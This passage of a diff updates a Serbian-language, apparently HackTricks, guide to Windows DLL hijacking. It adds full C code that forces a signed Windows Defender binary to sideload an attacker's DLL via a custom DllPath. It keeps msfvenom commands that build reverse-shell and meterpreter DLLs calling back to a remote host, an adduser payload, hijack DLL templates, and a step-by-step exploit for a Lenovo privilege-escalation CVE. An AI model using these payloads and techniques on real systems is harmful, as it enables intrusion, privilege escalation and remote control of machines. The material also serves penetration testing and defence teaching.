postoji** ni u jednom folderu. -### Dll Search Order +### Dll redosled pretrage -**Unutar** [**Microsoft dokumentacije**](https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order#factors-that-affect-searching) **možete pronaći kako se DLL-ovi specifično učitavaju.** +U [**Microsoft documentation**](https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order#factors-that-affect-searching) možete naći tačan način na koji se DLL-ovi učitavaju. -**Windows aplikacije** traže DLL-ove prateći skup **predefinisanih pretraživačkih putanja**, pridržavajući se određenog reda. Problem DLL hijacking-a nastaje kada se štetan DLL strateški postavi u jedan od ovih direktorijuma, osiguravajući da se učita pre autentičnog DLL-a. Rešenje za sprečavanje ovoga je osigurati da aplikacija koristi apsolutne putanje kada se poziva na DLL-ove koje zahteva. +Windows aplikacije traže DLL-ove prateći skup unapred definisanih putanja za pretragu, u određenom redosledu. Problem DLL hijacking-a nastaje kada se zlonamerni DLL strateški postavi u jedan od tih direktorijuma tako da bude učitan pre autentičnog DLL-a. Rešenje da se to izbegne je osigurati da aplikacija koristi apsolutne putanje kada referencira potrebne DLL-ove. -Možete videti **DLL pretraživački redosled na 32-bitnim** sistemima u nastavku: +Možete videti **DLL search order on 32-bit** systems ispod: -1. Direktorijum iz kojeg je aplikacija učitana. -2. Sistem direktorijum. Koristite [**GetSystemDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getsystemdirectorya) funkciju da dobijete putanju ovog direktorijuma. (_C:\Windows\System32_) -3. 16-bitni sistem direktorijum. Ne postoji funkcija koja dobija putanju ovog direktorijuma, ali se pretražuje. (_C:\Windows\System_) -4. Windows direktorijum. Koristite [**GetWindowsDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getwindowsdirectorya) funkciju da dobijete putanju ovog direktorijuma. (_C:\Windows_) -5. Trenutni direktorijum. -6. Direktorijumi koji su navedeni u PATH promenljivoj okruženja. Imajte na umu da ovo ne uključuje putanju po aplikaciji koju određuje **App Paths** registry ključ. **App Paths** ključ se ne koristi prilikom izračunavanja DLL pretraživačkog puta. +1. The directory from which the application loaded. +2. The system directory. Use the [**GetSystemDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getsystemdirectorya) function to get the path of this directory.(_C:\Windows\System32_) +3. The 16-bit system directory. There is no function that obtains the path of this directory, but it is searched. (_C:\Windows\System_) +4. The Windows directory. Use the [**GetWindowsDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getwindowsdirectorya) function to get the path of this directory. +1. (_C:\Windows_) +5. The current directory. +6. The directories that are listed in the PATH environment variable. Note that this does not include the per-application path specified by the **App Paths** registry key. The **App Paths** key is not used when computing the DLL search path. -To je **podrazumevani** redosled pretrage sa **SafeDllSearchMode** omogućenim. Kada je on onemogućen, trenutni direktorijum se penje na drugo mesto. Da biste onemogućili ovu funkciju, kreirajte **HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager**\\**SafeDllSearchMode** registry vrednost i postavite je na 0 (podrazumevano je omogućeno). +Ovo je **podrazumevani** redosled pretrage sa omogućenim **SafeDllSearchMode**. Kada je on onemogućen, trenutni direktorijum prelazi na drugo mesto. Da biste onemogućili ovu opciju, kreirajte vrednost registrija **HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager**\\**SafeDllSearchMode** i postavite je na 0 (podrazumevano je omogućeno). -Ako se [**LoadLibraryEx**](https://docs.microsoft.com/en-us/windows/desktop/api/LibLoaderAPI/nf-libloaderapi-loadlibraryexa) funkcija pozove sa **LOAD_WITH_ALTERED_SEARCH_PATH**, pretraga počinje u direktorijumu izvršnog modula koji **LoadLibraryEx** učitava. +Ako se funkcija [**LoadLibraryEx**](https://docs.microsoft.com/en-us/windows/desktop/api/LibLoaderAPI/nf-libloaderapi-loadlibraryexa) pozove sa **LOAD_WITH_ALTERED_SEARCH_PATH** pretraga počinje u direktorijumu izvršnog modula koji [**LoadLibraryEx**] učitava. -Na kraju, imajte na umu da **dll može biti učitan ukazujući apsolutnu putanju umesto samo imena**. U tom slučaju, taj dll će se **samo pretraživati u toj putanji** (ako dll ima bilo kakve zavisnosti, one će se pretraživati kao da su samo učitane po imenu). +Na kraju, imajte na umu da **dll može biti učitan navođenjem apsolutne putanje umesto samo imena**. U tom slučaju taj dll će **biti tražen samo u toj putanji** (ako taj dll ima neke zavisnosti, one će se tražiti kao da su učitane po imenu). -Postoje i drugi načini da se izmeni redosled pretrage, ali ih ovde neću objašnjavati. +Postoje i drugi načini da se promeni redosled pretrage, ali ih ovde neću objašnjavati. -#### Exceptions on dll search order from Windows docs +### Forcing sideloading via RTL_USER_PROCESS_PARAMETERS.DllPath -Određene izuzetke od standardnog DLL pretraživačkog reda beleže Windows dokumentacija: +Napredan način da se deterministički utiče na putanju pretrage DLL-ova novokreiranog procesa je postavljanje polja DllPath u RTL_USER_PROCESS_PARAMETERS prilikom kreiranja procesa koristeći ntdll-ove native API-je. Davanjem direktorijuma pod kontrolom napadača ovde, ciljani proces koji razrešava importovani DLL po imenu (bez apsolutne putanje i bez korišćenja safe loading flag-ova) može biti primoran da učita zlonamerni DLL iz tog direktorijuma. -- Kada se naiđe na **DLL koji deli svoje ime sa jednim već učitanim u memoriji**, sistem zaobilazi uobičajenu pretragu. Umesto toga, vrši proveru za preusmeravanje i manifest pre nego što se vrati na DLL već u memoriji. **U ovom scenariju, sistem ne sprovodi pretragu za DLL**. -- U slučajevima kada je DLL prepoznat kao **poznati DLL** za trenutnu verziju Windows-a, sistem će koristiti svoju verziju poznatog DLL-a, zajedno sa bilo kojim njegovim zavisnim DLL-ovima, **preskočivši proces pretrage**. Registry ključ **HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs** sadrži listu ovih poznatih DLL-ova. -- Ako **DLL ima zavisnosti**, pretraga za tim zavisnim DLL-ovima se sprovodi kao da su označeni samo svojim **imenima modula**, bez obzira na to da li je inicijalni DLL identifikovan putem pune putanje. +Ključna ideja +- Sastavite parametre procesa koristeći RtlCreateProcessParametersEx i navedite prilagođeni DllPath koji ukazuje na vaš kontrolisani folder (npr. direktorijum gde se nalazi vaš dropper/unpacker). +- Kreirajte proces koristeći RtlCreateUserProcess. Kada ciljni binarni fajl razreši DLL po imenu, loader će konsultovati dostavljeni DllPath tokom razrešavanja, omogućavajući pouzdan sideloading čak i kada zlonamerni DLL nije u istom direktorijumu kao ciljni EXE. -### Escalating Privileges +Napomene/ograničenja +- Ovo utiče na dete proces koji se kreira; drugačije je od SetDllDirectory, koje utiče samo na trenutni proces. +- Cilj mora importovati ili LoadLibrary DLL po imenu (bez apsolutne putanje i bez korišćenja LOAD_LIBRARY_SEARCH_SYSTEM32/SetDefaultDllDirectories). +- KnownDLLs i hardkodirane apsolutne putanje ne mogu biti hijack-ovane. Forwarded exports i SxS mogu promeniti prioritet. -**Requirements**: +Minimalni C primer (ntdll, wide strings, pojednostavljeno rukovanje greškama): +```c +#include +#include +#pragma comment(lib, "ntdll.lib") -- Identifikujte proces koji radi ili će raditi pod **različitim privilegijama** (horizontalno ili lateralno kretanje), koji **nema DLL**. -- Osigurajte da je **pristup za pisanje** dostupan za bilo koji **direktorijum** u kojem će se **DLL** **pretraživati**. Ova lokacija može biti direktorijum izvršne datoteke ili direktorijum unutar sistemske putanje. +// Prototype (not in winternl.h in older SDKs) +typedef NTSTATUS (NTAPI *RtlCreateProcessParametersEx_t)( +PRTL_USER_PROCESS_PARAMETERS *pProcessParameters, +PUNICODE_STRING ImagePathName, +PUNICODE_STRING DllPath, +PUNICODE_STRING CurrentDirectory, +PUNICODE_STRING CommandLine, +PVOID Environment, +PUNICODE_STRING WindowTitle, +PUNICODE_STRING DesktopInfo, +PUNICODE_STRING ShellInfo, +PUNICODE_STRING RuntimeData, +ULONG Flags +); -Da, zahtevi su komplikovani za pronalaženje jer je **po defaultu čudno pronaći privilegovanu izvršnu datoteku bez dll-a** i još je **čudnije imati dozvole za pisanje u folderu sistemske putanje** (po defaultu ne možete). Ali, u pogrešno konfiguriranim okruženjima ovo je moguće.\ -U slučaju da imate sreće i ispunjavate zahteve, možete proveriti [UACME](https://github.com/hfiref0x/UACME) projekat. Čak i ako je **glavni cilj projekta zaobilaženje UAC**, možete pronaći **PoC** DLL hijacking-a za verziju Windows-a koju možete koristiti (verovatno samo menjajući putanju foldera gde imate dozvole za pisanje). +typedef NTSTATUS (NTAPI *RtlCreateUserProcess_t)( +PUNICODE_STRING NtImagePathName, +ULONG Attributes, +PRTL_USER_PROCESS_PARAMETERS ProcessParameters, +PSECURITY_DESCRIPTOR ProcessSecurityDescriptor, +PSECURITY_DESCRIPTOR ThreadSecurityDescriptor, +HANDLE ParentProcess, +BOOLEAN InheritHandles, +HANDLE DebugPort, +HANDLE ExceptionPort, +PRTL_USER_PROCESS_INFORMATION ProcessInformation +); -Imajte na umu da možete **proveriti svoje dozvole u folderu** tako što ćete: +static void DirFromModule(HMODULE h, wchar_t *out, DWORD cch) { +DWORD n = GetModuleFileNameW(h, out, cch); +for (DWORD i=n; i>0; --i) if (out[i-1] == L'\\') { out[i-1] = 0; break; } +} + +int wmain(void) { +// Target Microsoft-signed, DLL-hijackable binary (example) +const wchar_t *image = L"\\??\\C:\\Program Files\\Windows Defender Advanced Threat Protection\\SenseSampleUploader.exe"; + +// Build custom DllPath = directory of our current module (e.g., the unpacked archive) +wchar_t dllDir[MAX_PATH]; +DirFromModule(GetModuleHandleW(NULL), dllDir, MAX_PATH); + +UNICODE_STRING uImage, uCmd, uDllPath, uCurDir; +RtlInitUnicodeString(&uImage, image); +RtlInitUnicodeString(&uCmd, L"\"C:\\Program Files\\Windows Defender Advanced Threat Protection\\SenseSampleUploader.exe\""); +RtlInitUnicodeString(&uDllPath, dllDir); // Attacker-controlled directory +RtlInitUnicodeString(&uCurDir, dllDir); + +RtlCreateProcessParametersEx_t pRtlCreateProcessParametersEx = +(RtlCreateProcessParametersEx_t)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "RtlCreateProcessParametersEx"); +RtlCreateUserProcess_t pRtlCreateUserProcess = +(RtlCreateUserProcess_t)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "RtlCreateUserProcess"); + +RTL_USER_PROCESS_PARAMETERS *pp = NULL; +NTSTATUS st = pRtlCreateProcessParametersEx(&pp, &uImage, &uDllPath, &uCurDir, &uCmd, +NULL, NULL, NULL, NULL, NULL, 0); +if (st < 0) return 1; + +RTL_USER_PROCESS_INFORMATION pi = {0}; +st = pRtlCreateUserProcess(&uImage, 0, pp, NULL, NULL, NULL, FALSE, NULL, NULL, &pi); +if (st < 0) return 1; + +// Resume main thread etc. if created suspended (not shown here) +return 0; +} +``` +Operativni primer upotrebe +- Postavite zlonamerni xmllite.dll (koji eksportuje potrebne funkcije ili prosleđuje pozive stvarnom DLL-u) u direktorijum DllPath. +- Pokrenite potpisani binarni fajl koji je poznato da traži xmllite.dll po imenu koristeći gore opisanu tehniku. Loader rešava import preko prosleđenog DllPath-a i sideloads vaš DLL. + +Ova tehnika je u prirodi (in-the-wild) primećena da pokreće višestepene sideloading lance: inicijalni launcher postavi pomoćni DLL, koji potom spawn-uje Microsoft-signed, hijackable binarni fajl sa prilagođenim DllPath-om kako bi primorao učitavanje napadačevog DLL-a iz staging direktorijuma. + + +#### Izuzeci u redosledu pretrage DLL-ova iz Windows dokumentacije + +U Windows dokumentaciji su zabeleženi određeni izuzeci od standardnog reda pretrage DLL-ova: + +- Kada se naiđe na **DLL koji deli ime sa onim koji je već učitan u memoriji**, sistem zaobilazi uobičajenu pretragu. Umesto toga, izvršava proveru za redirekciju i manifest pre nego što podrazumevano koristi DLL koji je već u memoriji. **U ovom scenariju, sistem ne vrši pretragu za DLL-om**. +- U slučajevima kada je DLL prepoznat kao **poznati DLL** za trenutnu verziju Windows-a, sistem će koristiti svoju verziju tog poznatog DLL-a, zajedno sa bilo kojim njegovim zavisnim DLL-ovima, **odustajući od procesa pretrage**. Registarski ključ **HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs** sadrži listu ovih poznatih DLL-ova. +- Ako **DLL ima zavisnosti**, pretraga za tim zavisnim DLL-ovima vrši se kao da su naznačeni samo njihovim **imenima modula**, bez obzira na to da li je početni DLL identifikovan pomoću pune putanje. + +### Eskalacija privilegija + +**Zahtevi**: + +- Identifikujte proces koji radi ili će raditi pod **različitim privilegijama** (horizontal or lateral movement), a kojem **nedostaje DLL**. +- Obezbedite da su dostupna **prava za pisanje** za bilo koji **direktorijum** u kojem će se tražiti **DLL**. Ovo mesto može biti direktorijum izvršnog fajla ili direktorijum unutar sistemskog PATH-a. + +Da, zahtevi su komplikovani za pronalaženje jer je **po defaultu prilično neobično naći privilegovani izvršni fajl kome nedostaje DLL** i još je **čudnije imati prava za pisanje na folderu u sistemskom PATH-u** (po defaultu to nije moguće). Međutim, u pogrešno konfigurisanim okruženjima ovo je moguće. +Ako imate sreće i ispunjavate zahteve, možete pogledati projekat [UACME](https://github.com/hfiref0x/UACME). Iako je **glavni cilj projekta da zaobiđe UAC**, možda ćete tamo naći **PoC** za Dll hijaking za verziju Windows-a koju možete iskoristiti (verovatno samo menjajući putanju foldera u kojem imate prava za pisanje). + +Imajte na umu da možete **proveriti svoja prava u folderu** tako što ćete: ```bash accesschk.exe -dqv "C:\Python27" icacls "C:\Python27" ``` -I **proverite dozvole svih foldera unutar PATH**: +I **proverite dozvole svih direktorijuma unutar PATH-a**: ```bash for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. ) ``` -Možete takođe proveriti uvoze izvršne datoteke i izvoze dll-a sa: +Takođe možete proveriti imports izvršne datoteke i exports dll-a pomoću: ```c dumpbin /imports C:\path\Tools\putty\Putty.exe dumpbin /export /path/file.dll ``` -Za potpuni vodič o tome kako **zloupotrebiti Dll Hijacking za eskalaciju privilegija** sa dozvolama za pisanje u **System Path folder**, proverite: +Za kompletan vodič kako da **abuse Dll Hijacking to escalate privileges** sa dozvolama za upis u **System Path folder** pogledajte: + {{#ref}} writable-sys-path-+dll-hijacking-privesc.md {{#endref}} -### Automatizovani alati +### Automated tools -[**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) će proveriti da li imate dozvole za pisanje u bilo kom folderu unutar sistemskog PATH-a.\ -Ostali zanimljivi automatizovani alati za otkrivanje ove ranjivosti su **PowerSploit funkcije**: _Find-ProcessDLLHijack_, _Find-PathDLLHijack_ i _Write-HijackDll._ +[**Winpeas** ](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) će proveriti da li imate dozvole za pisanje u bilo koji folder unutar system PATH.\ +Drugi interesantni automatizovani alati za otkrivanje ove ranjivosti su **PowerSploit functions**: _Find-ProcessDLLHijack_, _Find-PathDLLHijack_ i _Write-HijackDll._ -### Primer +### Example -U slučaju da pronađete scenario koji se može iskoristiti, jedna od najvažnijih stvari za uspešno iskorišćavanje bi bila da **napravite dll koji izvozi barem sve funkcije koje će izvršni program uvesti iz njega**. U svakom slučaju, imajte na umu da Dll Hijacking dolazi u obzir kako bi se [escaliralo sa Medium Integrity nivoa na High **(zaobilaženje UAC)**](../../authentication-credentials-uac-and-efs/index.html#uac) ili sa [**High Integrity na SYSTEM**](../index.html#from-high-integrity-to-system)**.** Možete pronaći primer **kako napraviti validan dll** unutar ove studije o dll hijackingu fokusirane na dll hijacking za izvršenje: [**https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows**](https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows)**.**\ -Pored toga, u **sledećem odeljku** možete pronaći neke **osnovne dll kodove** koji bi mogli biti korisni kao **šabloni** ili za kreiranje **dll-a sa neobaveznim izvezenim funkcijama**. +Ako nađete iskoristiv scenario, jedna od najvažnijih stvari za uspešan exploit biće da **napravite dll koji eksportuje bar sve funkcije koje će izvršni fajl importovati iz njega**. Imajte na umu da Dll Hijacking može biti koristan za [escalate from Medium Integrity level to High **(bypassing UAC)**](../../authentication-credentials-uac-and-efs/index.html#uac) ili za [ **High Integrity to SYSTEM**](../index.html#from-high-integrity-to-system)**.** Primer **kako kreirati validan dll** možete naći u ovoj studiji o dll hijacking-u fokusiranoj na dll hijacking za izvršenje: [**https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows**](https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows)**.**\ +Štaviše, u **sledećem delu** možete naći neke **osnovne dll kodove** koji mogu biti korisni kao **šabloni** ili za kreiranje **dll-a sa eksportovanim funkcijama koje nisu potrebne**. -## **Kreiranje i kompajliranje Dll-ova** +## **Creating and compiling Dlls** ### **Dll Proxifying** -U suštini, **Dll proxy** je Dll sposoban da **izvrši vaš zlonamerni kod kada se učita**, ali takođe da **izloži** i **radi** kao **očekivano** tako što **preusmerava sve pozive na pravu biblioteku**. +U suštini, **Dll proxy** je Dll koji može **izvršiti vaš zlonamerni kod kada se učita**, ali i da **izlaže** i **radi** kako se očekuje tako što **prosleđuje sve pozive pravoj biblioteci**. -Sa alatom [**DLLirant**](https://github.com/redteamsocietegenerale/DLLirant) ili [**Spartacus**](https://github.com/Accenture/Spartacus) možete zapravo **naznačiti izvršni program i odabrati biblioteku** koju želite da proxify i **generisati proxified dll** ili **naznačiti Dll** i **generisati proxified dll**. +Pomoću alata [**DLLirant**](https://github.com/redteamsocietegenerale/DLLirant) ili [**Spartacus**](https://github.com/Accenture/Spartacus) možete zapravo **odabrati izvršni fajl i izabrati biblioteku** koju želite proxify-ovati i **generisati proxified dll** ili **odabrati Dll** i **generisati proxified dll**. ### **Meterpreter** @@ -126,13 +219,13 @@ msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll ```bash msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll ``` -**Kreirajte korisnika (x86 nisam video x64 verziju):** +**Kreiraj korisnika (x86 nisam video x64 verziju):** ``` msfvenom -p windows/adduser USER=privesc PASS=Attacker@123 -f dll -o msf.dll ``` -### Vaš +### Vaš sopstveni -Napomena da u nekoliko slučajeva Dll koji kompajlirate mora **izvoziti nekoliko funkcija** koje će biti učitane od strane procesa žrtve, ako ove funkcije ne postoje **binarni fajl neće moći da ih učita** i **eksploit će propasti**. +Imajte na umu da u nekoliko slučajeva Dll koji kompajlirate mora **export several functions** koje će učitati victim process; ako these functions doesn't exist, **binary won't be able to load** ih i **exploit will fail**. ```c // Tested in Win10 // i686-w64-mingw32-g++ dll.c -lws2_32 -o srrstr.dll -shared @@ -213,20 +306,20 @@ break; return TRUE; } ``` -## Studija slučaja: CVE-2025-1729 - Eskalacija privilegija korišćenjem TPQMAssistant.exe +## Studija slučaja: CVE-2025-1729 - Privilege Escalation korišćenjem TPQMAssistant.exe -Ovaj slučaj demonstrira **Phantom DLL Hijacking** u Lenovo-ovom TrackPoint Quick Menu (`TPQMAssistant.exe`), praćen kao **CVE-2025-1729**. +Ovaj slučaj prikazuje **Phantom DLL Hijacking** u Lenovo-ovom TrackPoint Quick Menu (`TPQMAssistant.exe`), praćeno kao **CVE-2025-1729**. -### Detalji o ranjivosti +### Detalji ranjivosti -- **Komponenta**: `TPQMAssistant.exe` se nalazi na `C:\ProgramData\Lenovo\TPQM\Assistant\`. -- **Zakazani zadatak**: `Lenovo\TrackPointQuickMenu\Schedule\ActivationDailyScheduleTask` se pokreće svakodnevno u 9:30 AM pod kontekstom prijavljenog korisnika. -- **Dozvole direktorijuma**: Pisanje od strane `CREATOR OWNER`, što omogućava lokalnim korisnicima da postavljaju proizvoljne datoteke. -- **Ponašanje pretrage DLL-a**: Pokušava da učita `hostfxr.dll` iz svog radnog direktorijuma prvo i beleži "NAME NOT FOUND" ako nedostaje, što ukazuje na prioritet pretrage lokalnog direktorijuma. +- **Komponenta**: `TPQMAssistant.exe` koji se nalazi na `C:\ProgramData\Lenovo\TPQM\Assistant\`. +- **Zakazani zadatak**: `Lenovo\TrackPointQuickMenu\Schedule\ActivationDailyScheduleTask` se izvršava dnevno u 9:30 AM pod kontekstom prijavljenog korisnika. +- **Dozvole direktorijuma**: Writable by `CREATOR OWNER`, što omogućava lokalnim korisnicima da ubace proizvoljne datoteke. +- **DLL Search Behavior**: Pokušava prvo da učita `hostfxr.dll` iz svog radnog direktorijuma i beleži "NAME NOT FOUND" ako nedostaje, što ukazuje na prioritet pretrage lokalnog direktorijuma. -### Implementacija eksploata +### Exploit Implementation -Napadač može postaviti zlonamerni `hostfxr.dll` stub u isti direktorijum, koristeći nedostajući DLL za postizanje izvršavanja koda pod korisničkim kontekstom: +Napadač može postaviti zlonamerni `hostfxr.dll` stub u isti direktorijum, iskorišćavajući nedostajući DLL da ostvari code execution u kontekstu prijavljenog korisnika: ```c #include @@ -238,16 +331,16 @@ MessageBoxA(NULL, "DLL Hijacked!", "TPQM", MB_OK); return TRUE; } ``` -### Attack Flow +### Tok napada -1. Kao standardni korisnik, postavite `hostfxr.dll` u `C:\ProgramData\Lenovo\TPQM\Assistant\`. -2. Sačekajte da se zakazani zadatak izvrši u 9:30 ujutro pod kontekstom trenutnog korisnika. -3. Ako je administrator prijavljen kada se zadatak izvršava, zlonamerni DLL se pokreće u sesiji administratora sa srednjim integritetom. -4. Povežite standardne UAC bypass tehnike da biste se uzdigli sa srednjeg integriteta na SYSTEM privilegije. +1. Kao standardni korisnik, ubaci `hostfxr.dll` u `C:\ProgramData\Lenovo\TPQM\Assistant\`. +2. Sačekaj da se zakazani zadatak pokrene u 9:30 u kontekstu trenutnog korisnika. +3. Ako je administrator prijavljen kada se zadatak izvrši, zlonamerni DLL će se pokrenuti u administratorskoj sesiji sa medium integrity. +4. Lančano primeni standardne UAC bypass techniques da eskaliraš privilegije sa medium integrity na SYSTEM privilegije. -### Mitigation +### Mitigacija -Lenovo je objavio UWP verziju **1.12.54.0** putem Microsoft Store-a, koja instalira TPQMAssistant pod `C:\Program Files (x86)\Lenovo\TPQM\TPQMAssistant\`, uklanja ranjivi zakazani zadatak i deinstalira nasleđene Win32 komponente. +Lenovo je objavio UWP verziju **1.12.54.0** via the Microsoft Store, koja instalira TPQMAssistant u `C:\Program Files (x86)\Lenovo\TPQM\TPQMAssistant\`, uklanja ranjivi zakazani zadatak i deinstalira nasleđene Win32 komponente. ## References @@ -259,4 +352,7 @@ Lenovo je objavio UWP verziju **1.12.54.0** putem Microsoft Store-a, koja instal - [https://cocomelonc.github.io/pentest/2021/09/24/dll-hijacking-1.html](https://cocomelonc.github.io/pentest/2021/09/24/dll-hijacking-1.html) +- [Check Point Research – Nimbus Manticore Deploys New Malware Targeting Europe](https://research.checkpoint.com/2025/nimbus-manticore-deploys-new-malware-targeting-europe/) + + {{#include ../../../banners/hacktricks-training.md}}